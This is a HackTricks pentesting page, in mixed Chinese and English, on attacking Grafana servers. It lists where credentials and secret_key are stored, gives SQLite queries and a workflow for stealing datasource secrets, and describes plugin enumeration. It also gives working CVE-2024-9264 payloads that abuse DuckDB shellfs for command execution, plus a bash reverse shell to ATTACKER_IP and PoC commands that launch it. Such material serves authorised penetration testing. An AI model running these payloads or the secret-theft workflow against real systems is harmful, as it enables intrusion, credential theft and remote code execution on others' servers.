Grafana

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

有趣的内容

  • Main config is usually in /etc/grafana/grafana.ini (Deb/RPM) and can contain sensitive values such as admin_user, admin_password, secret_key, OAuth settings, SMTP creds, and renderer tokens.
  • By default Grafana stores data in SQLite3 under /var/lib/grafana/grafana.db.
  • Provisioning files are very interesting after host access:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • Environment-variable expansion is supported in provisioning files, so leaked YAML often reveals both secrets and the env var names backing them.
  • Installed plugins are commonly found under /var/lib/grafana/plugins.
  • Inside the platform you could 邀请用户, 生成 API keys / service account tokens, 列出插件, 或 安装新插件 depending on the role.
  • The browser is also loot: Grafana exposes non-secret datasource config to the frontend. If you have a Viewer session (or anonymous access is enabled), inspect window.grafanaBootData from DevTools.

Useful SQLite checks:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

窃取数据源和密钥

Grafana 将可在浏览器中读取的配置与加密的秘密分离:

  • jsonData 在浏览器中对用户可见,通常足以枚举内部主机、租户、认证模式、头名、AWS 区域、Elasticsearch 索引、Loki 租户、Prometheus URLs 等类似的侦察信息。
  • secureJsonData 在服务器端被加密,一旦数据源保存后,浏览器将不再能读取。

Post-exploitation workflow:

  1. 转储 grafana.ini 并恢复 secret_key
  2. 窃取 grafana.db 和 provisioning 文件。
  3. 枚举数据源和插件配置,以查找可重用的凭据和内部端点。
  4. 如果在另一个 Grafana 实例中迁移或重放数据库,请保留相同的 secret_key,否则存储的数据源密码/令牌将无法正确解密。

为什么 secret_key 在较新版本中很重要:

  • 自 Grafana v9 起,数据库密钥使用信封加密。
  • Grafana 使用 data encryption keys (DEKs) 加密 secrets,而这些 DEK 则用从 secret_key 派生的 key encryption key (KEK) 再次加密。
  • 从攻击者角度看,grafana.db + secret_key 是值得窃取的组合。

插件攻击面

把插件当作目标的一部分,而不是脚注:

  • 从文件系统、UI 或 API 枚举它们:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • 旧的或第三方插件经常通过代理 HTTP 请求或与本地文件/数据库交互,扩展 Grafana 对内部网络的访问范围。
  • 最近的例子包括 Infinity 插件中的 SSRF(< 3.4.1)以及 Image Renderer 插件在某些滥用路径中将其他漏洞变为 full-read SSRF

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) 认证后 RCE / LFI

Grafana 的实验性 SQL Expressions 功能可以评估嵌入用户可控文本的 DuckDB 查询。缺乏足够的消毒允许攻击者链式执行 DuckDB 语句并加载社区扩展 shellfs,shellfs 通过基于管道的虚拟文件暴露 shell 命令。

Impact

  • 任何具有 VIEWER 或更高权限的已认证用户都可以以 Grafana 所在主机的 OS 用户身份(通常是 grafana;在容器内有时为 root)获得代码执行,或执行本地文件读取。
  • 在真实部署中常见的先决条件:
  • SQL Expressions 已启用:expressions.enabled = true
  • 服务器的 PATH 中存在 duckdb 二进制文件

Quick checks

  • 在 UI/API 中,查看 Admin 设置(Swagger: /swagger-ui,endpoint /api/admin/settings)以确认:
  • expressions.enabled 为 true
  • 可选:版本、datasource 类型和一般加固设置
  • 在主机上打开 shell:which duckdb 必须能解析,才可走下面的利用路径。

Manual query pattern using DuckDB + shellfs

  • 滥用流程(2 个查询):
  1. 安装并加载 shellfs 扩展,运行命令,通过管道将合并输出重定向到临时文件
  2. 使用 read_blob 读取临时文件

Example SQL Expressions payloads that get passed to DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

将 CMD 替换为您想要的命令。对于 file-read (LFI),你可以改为使用 DuckDB 的文件函数来读取本地文件。

单行 reverse shell 示例

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

在你有 listener 时,将其作为 CMD 嵌入到第一个查询中: nc -lnvp 443.

自动化 PoC

使用示例

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

如果输出显示 uid=0(root),Grafana 正以 root 身份运行(在某些容器中很常见)。

2025 client-side traversal / open redirect chain

2025 Grafana 的 client-side traversal 和 open-redirect chain 已在更通用的 client-side 页面中记录。针对 Grafana 特定路径(例如 plugin assets、dashboard script loaders 和 token-rotation redirects)使用这些技术:

Client Side Path Traversal

Open Redirect

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks